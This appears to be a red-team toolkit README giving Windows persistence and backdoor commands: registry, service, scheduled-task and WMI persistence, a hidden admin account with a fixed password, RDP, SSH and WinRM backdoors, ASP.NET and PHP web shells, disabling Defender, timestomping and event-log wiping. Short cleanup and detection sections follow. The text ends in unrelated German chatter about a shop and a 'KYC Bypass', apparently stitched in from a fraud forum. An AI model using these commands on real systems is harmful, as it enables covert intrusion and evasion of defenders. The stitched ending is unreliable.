Windows Persistence Toolkit
Advanced Windows persistence techniques and backdoor methodologies for authorized penetration testing, red team operations, and security research.
Table of Contents
Features
Quick Start
Persistence Techniques
Backdoor Methods
Detection Evasion
Usage Examples
Cleanup Procedures
Legal Disclaimer
Contributing
Features
Persistence Mechanisms
Registry Persistence - Run keys, Winlogon modifications
Scheduled Tasks - Time-based and event-based triggers
Windows Services - System-level persistence
WMI Event Subscriptions - Advanced stealth persistence
COM Object Hijacking - DLL injection techniques
Access Methods
RDP Backdoors - Remote Desktop with hidden users
Reverse Shells - TCP, HTTP, HTTPS callbacks
SSH Tunnels - Modern Windows SSH access
WinRM Access - Windows Remote Management
Web Shells - Browser-based command execution
Payload Formats
Executable Files - Standalone EXE payloads
Dynamic Libraries - DLL injection and hijacking
PowerShell Scripts - Memory-resident execution
Batch Scripts - Simple command-line persistence
VBScript/JScript - Windows Scripting Host payloads
Quick Start
Basic Registry Persistence
# Add persistence via Run key (system-wide)
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "UpdateService" /t REG_SZ /d "C:\Windows\system32\backdoor.exe"
# User-specific persistence
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "UserService" /t REG_SZ /d "C:\Users\Public\service.exe"
Service-Based Persistence
# Create Windows service
sc create "WindowsUpdateService" binPath= "C:\Windows\system32\updater.exe" start= auto DisplayName= "Windows Update Service"
# Start service
sc start "WindowsUpdateService"
Scheduled Task Persistence
# Daily task
schtasks /create /tn "SystemMaintenance" /tr "C:\Windows\maintenance.exe" /sc daily /st 14:30
# Startup task
schtasks /create /tn "StartupTask" /tr "C:\Windows\startup.exe" /sc onstart /ru SYSTEM
Persistence Techniques
1. Registry-Based Persistence
Run Keys (Most Common)
# System-wide (requires admin)
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "UpdateService" /t REG_SZ /d "C:\Windows\system32\update.exe"
# User-specific
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "UserService" /t REG_SZ /d "C:\Users\Public\service.exe"
# RunOnce (executes once)
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "SystemCheck" /t REG_SZ /d "C:\temp\check.exe"
Advanced Registry Locations
# Winlogon Shell replacement
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Shell" /t REG_SZ /d "explorer.exe,C:\Windows\backdoor.exe"
# Userinit modification
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Userinit" /t REG_SZ /d "C:\Windows\system32\userinit.exe,C:\Windows\backdoor.exe"
# Image File Execution Options
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v "Debugger" /t REG_SZ /d "C:\Windows\backdoor.exe"
2. Scheduled Task Persistence
Time-Based Tasks
# Every 5 minutes
schtasks /create /tn "SystemMonitor" /tr "C:\Windows\monitor.exe" /sc minute /mo 5 /ru SYSTEM
# Daily at specific time
schtasks /create /tn "DailyCheck" /tr "C:\Windows\check.exe" /sc daily /st 14:30
# Weekly maintenance
schtasks /create /tn "WeeklyMaintenance" /tr "C:\Windows\maintenance.exe" /sc weekly /d SUN /st 02:00
Event-Based Tasks
# On system startup
schtasks /create /tn "StartupService" /tr "C:\Windows\startup.exe" /sc onstart /ru SYSTEM
# On user logon
schtasks /create /tn "LogonScript" /tr "C:\Windows\logon.exe" /sc onlogon
# On system idle
schtasks /create /tn "IdleTask" /tr "C:\Windows\idle.exe" /sc onidle /i 10
3. Windows Service Persistence
Service Creation
# Create new service
sc create "SecurityHealthService" binPath= "C:\Windows\system32\security.exe" start= auto DisplayName= "Windows Security Health Service"
# Set service description
sc description "SecurityHealthService" "Monitors system security health and provides security updates"
# Configure service failure actions
sc failure "SecurityHealthService" reset= 86400 actions= restart/5000/restart/5000/restart/5000
# Start service
sc start "SecurityHealthService"
Service Modification
# Modify existing service
sc config "Themes" binPath= "C:\Windows\system32\svchost.exe -k netsvcs -p -s Themes && C:\Windows\backdoor.exe"
# Change service startup type
sc config "SecurityHealthService" start= auto
# Set service dependencies
sc config "SecurityHealthService" depend= "RpcSs/RPCSS"
4. WMI Event Subscription
Event Filter Creation
# Create WMI event filter (triggers every 30 minutes)
wmic /namespace:\\root\subscription PATH __EventFilter CREATE Name="SystemPerformanceFilter", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 1800 WHERE TargetInstance ISA 'Win32_PerfRawData_PerfOS_System'"
Event Consumer Creation
# Create command line event consumer
wmic /namespace:\\root\subscription PATH CommandLineEventConsumer CREATE Name="SystemPerformanceConsumer", CommandLineTemplate="C:\Windows\system32\performance.exe"
Filter-Consumer Binding
# Bind filter to consumer
wmic /namespace:\\root\subscription PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"SystemPerformanceFilter\"", Consumer="CommandLineEventConsumer.Name=\"SystemPerformanceConsumer\""
5. Startup Folder Persistence
System-Wide Startup
# All users startup folder
copy "backdoor.exe" "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\SystemUpdate.exe"
# Alternative system startup location
copy "backdoor.exe" "C:\Windows\System32\GroupPolicy\Machine\Scripts\Startup\startup.exe"
User-Specific Startup
# Current user startup
copy "backdoor.exe" "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\UserUpdate.exe"
# Specific user startup
copy "backdoor.exe" "C:\Users\TargetUser\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\service.exe"
Backdoor Methods
1. RDP Backdoor Setup
User Account Creation
# Create hidden admin user
net user /add backdoor P@ssw0rd123!
net localgroup administrators backdoor /add
# Hide from login screen
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v backdoor /t REG_DWORD /d 0
# Set password never expires
wmic useraccount where "name='backdoor'" set PasswordExpires=FALSE
RDP Configuration
# Enable Remote Desktop
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0
# Enable RDP through Windows Firewall
netsh advfirewall firewall set rule group="remote desktop" new enable=Yes
# Start Terminal Service
net start TermService
# Set RDP port (optional)
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 3389
2. SSH Backdoor (Windows 10+)
OpenSSH Installation
# Install OpenSSH Server
Add-WindowsCapability -Online -Name OpenSSH.Server~~~~0.0.1.0
# Start SSH service
Start-Service sshd
# Set service to automatic
Set-Service -Name sshd -StartupType 'Automatic'
# Configure firewall
New-NetFirewallRule -Name sshd -DisplayName 'OpenSSH Server (sshd)' -Enabled True -Direction Inbound -Protocol TCP -Action Allow -LocalPort 22
SSH Key Configuration
# Create SSH directory
New-Item -Type Directory -Path "C:\Users\backdoor\.ssh"
# Add authorized key
Set-Content -Path "C:\Users\backdoor\.ssh\authorized_keys" -Value "ssh-rsa AAAAB3Nza... your-public-key"
# Set proper permissions
icacls "C:\Users\backdoor\.ssh\authorized_keys" /inheritance:r /grant "backdoor:F"
3. WinRM Backdoor
WinRM Configuration
# Enable WinRM
winrm quickconfig -q
# Configure WinRM for unencrypted traffic
winrm set winrm/config/service @{AllowUnencrypted="true"}
# Set authentication methods
winrm set winrm/config/service/auth @{Basic="true"}
# Add user to Remote Management group
net localgroup "Remote Management Users" backdoor /add
PowerShell Remoting
# Enable PowerShell remoting
Enable-PSRemoting -Force
# Set execution policy
Set-ExecutionPolicy RemoteSigned -Force
# Configure trusted hosts (if needed)
Set-Item WSMan:\localhost\Client\TrustedHosts -Value "*" -Force
4. Web Shell Backdoor
ASP.NET Web Shell
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<script runat="server">
void Page_Load(object sender, EventArgs e) {
string cmd = Request.QueryString["cmd"];
if (!string.IsNullOrEmpty(cmd)) {
Process proc = new Process();
proc.StartInfo.FileName = "cmd.exe";
proc.StartInfo.Arguments = "/c " + cmd;
proc.StartInfo.UseShellExecute = false;
proc.StartInfo.RedirectStandardOutput = true;
proc.Start();
Response.Write("<pre>" + proc.StandardOutput.ReadToEnd() + "</pre>");
proc.Close();
}
}
</script>
PHP Web Shell
<?php
if(isset($_GET['cmd'])) {
$cmd = $_GET['cmd'];
echo "<pre>";
system($cmd);
echo "</pre>";
}
?>
Detection Evasion
Anti-Virus Evasion
File Attribute Manipulation
# Hide files
attrib +h +s C:\Windows\system32\backdoor.exe
# Set system timestamps
powershell "(Get-Item 'C:\Windows\system32\backdoor.exe').CreationTime = (Get-Item 'C:\Windows\system32\explorer.exe').CreationTime"
powershell "(Get-Item 'C:\Windows\system32\backdoor.exe').LastWriteTime = (Get-Item 'C:\Windows\system32\explorer.exe').LastWriteTime"
Security Software Bypass
# Disable Windows Defender (requires admin)
powershell "Set-MpPreference -DisableRealtimeMonitoring $true"
powershell "Add-MpPreference -ExclusionPath C:\Windows\system32"
powershell "Add-MpPreference -ExclusionExtension .exe"
# Disable Windows Firewall
netsh advfirewall set allprofiles state off
Log Evasion
Event Log Clearing
# Clear specific event logs
wevtutil cl Security
wevtutil cl System
wevtutil cl Application
wevtutil cl "Windows PowerShell"
# Clear all event logs
for /f "tokens=1" %i in ('wevtutil el') do wevtutil cl "%i"
PowerShell Logging Bypass
# Disable PowerShell logging
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Name "EnableScriptBlockLogging" -Value 0
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription" -Name "EnableTranscripting" -Value 0
Process Hiding
Service Masquerading
# Run as legitimate service
sc create "WindowsSecurityHealthService" binPath= "C:\Windows\system32\svchost.exe -k SecurityHealth -p -s SecurityHealthService"
reg add "HKLM\SYSTEM\CurrentControlSet\Services\SecurityHealthService\Parameters" /v ServiceDll /t REG_EXPAND_SZ /d "C:\Windows\system32\backdoor.dll"
DLL Hijacking
# Replace legitimate DLL
copy "malicious.dll" "C:\Windows\system32\version.dll"
copy "malicious.dll" "C:\Program Files\Application\missing.dll"
Usage Examples
Complete RDP Backdoor Setup
# Create backdoor user
net user /add support P@ssw0rd2024!
net localgroup administrators support /add
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v support /t REG_DWORD /d 0
# Enable RDP
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0
netsh advfirewall firewall set rule group="remote desktop" new enable=Yes
net start TermService
# Connect: rdesktop -u support -p 'P@ssw0rd2024!' target-ip
Registry + Service Persistence Combo
# Registry persistence
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SystemService" /t REG_SZ /d "C:\Windows\system32\service.exe"
# Service persistence
sc create "SystemService" binPath= "C:\Windows\system32\service.exe" start= auto DisplayName= "System Service"
sc start "SystemService"
# Scheduled task backup
schtasks /create /tn "SystemService" /tr "C:\Windows\system32\service.exe" /sc onstart /ru SYSTEM
WMI Stealth Persistence
# Create WMI event subscription for stealth persistence
wmic /namespace:\\root\subscription PATH __EventFilter CREATE Name="SecurityUpdate", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfRawData_PerfOS_System'"
wmic /namespace:\\root\subscription PATH CommandLineEventConsumer CREATE Name="SecurityConsumer", CommandLineTemplate="C:\Windows\system32\SecurityUpdate.exe"
wmic /namespace:\\root\subscription PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"SecurityUpdate\"", Consumer="CommandLineEventConsumer.Name=\"SecurityConsumer\""
Cleanup Procedures
Registry Cleanup
# Remove Run keys
reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "UpdateService" /f
reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "UserService" /f
# Restore Winlogon settings
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Shell" /t REG_SZ /d "explorer.exe" /f
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Userinit" /t REG_SZ /d "C:\Windows\system32\userinit.exe," /f
Service Cleanup
# Stop and remove services
sc stop "SecurityHealthService"
sc delete "SecurityHealthService"
# Remove service registry entries
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\SecurityHealthService" /f
Task Cleanup
# Remove scheduled tasks
schtasks /delete /tn "SystemMonitor" /f
schtasks /delete /tn "DailyCheck" /f
schtasks /delete /tn "StartupService" /f
WMI Cleanup
# Remove WMI subscriptions
wmic /namespace:\\root\subscription PATH __FilterToConsumerBinding WHERE "Filter=\"__EventFilter.Name='SystemPerformanceFilter'\"" DELETE
wmic /namespace:\\root\subscription PATH CommandLineEventConsumer WHERE "Name='SystemPerformanceConsumer'" DELETE
wmic /namespace:\\root\subscription PATH __EventFilter WHERE "Name='SystemPerformanceFilter'" DELETE
File Cleanup
# Remove backdoor files
del "C:\Windows\system32\backdoor.exe"
del "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\SystemUpdate.exe"
del "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\UserUpdate.exe"
# Remove backdoor users
net user backdoor /delete
net user support /delete
Detection and Forensics
Common Detection Methods
Registry Monitoring - Watch for Run key modifications
Service Analysis - Examine service configurations and DLLs
Task Scheduler - Review scheduled tasks for anomalies
WMI Subscriptions - Check for persistent WMI events
User Account Auditing - Monitor for new user creation
File System Changes - Track startup folder modifications
Forensic Artifacts
Registry Hives - SYSTEM, SOFTWARE, NTUSER.DAT
Event Logs - Security, System, Application logs
Prefetch Files - Evidence of program execution
AmCache - Application execution tracking
SRUM Database - System Resource Usage Monitor
WMI Repository - Persistent WMI subscription data
Cola changed their profile photo
Bestellung über den Shop ging sehr entspannt edit nach Drop beste Grüße
Alle mit KYC Bypass erstellt worden oder Vic ?
Ja du bist blind =) Und jetzt den thread für Feedbacks freihalten!!!! Ich weis nicht wie oft ich das noch sagen soll
